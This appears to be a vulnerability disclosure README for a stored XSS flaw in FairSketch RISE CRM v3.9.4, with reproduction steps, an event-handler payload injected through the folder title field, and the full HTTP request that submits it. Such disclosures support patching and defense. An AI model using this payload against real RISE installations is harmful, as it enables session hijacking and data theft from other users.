aqwainfosec/cve-2025-56807Proof-of-concept for a stored XSS vulnerability in FairSketch RISE Ultimate Project Manager & CRM v3.9.4, demonstrating arbitrary JavaScript execution via folder title injection.
A Stored Cross Site Scripting (XSS) vulnerability was discovered in FairSketch RISE Ultimate Project Manager & CRM (v3.9.4) in the File Manager functionality. The vulnerability lies in the title parameter that is submitted when creating new folders. Due to insufficient input sanitization an attacker can inject HTML/JavaScript payloads (e.g., <details/open/ontoggle=prompt(origin)>). The payload is stored in the folder name and executed when listing folders in the File Manager, allowing arbitrary JavaScript execution in the browser of any user who views the affected folder. This may result in session hijacking and data exfiltration.
[!NOTE]
This vulnerabilitity is not exclusive to administrator accounts. It can be exploited using any user account which has the permission to create new folders in the File Manager.
Login with valid credentials.
Navigate to Files
Click New Folder
Enter the payload below in the Title field, enter:
<details/open/ontoggle=prompt(origin)>
POST /index.php/clients/save_folder HTTP/1.1
Host: rise.fairsketch.com
Cookie: [redacted]
Content-Length: 99
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Not=A?Brand";v="24", "Chromium";v="140"
Sec-Ch-Ua-Mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: [redacted]
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: https://rise.fairsketch.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
id=&parent_id=&context=client&context_id=101&title=%3Cdetails%2Fopen%2Fontoggle%3Dprompt(origin)%3E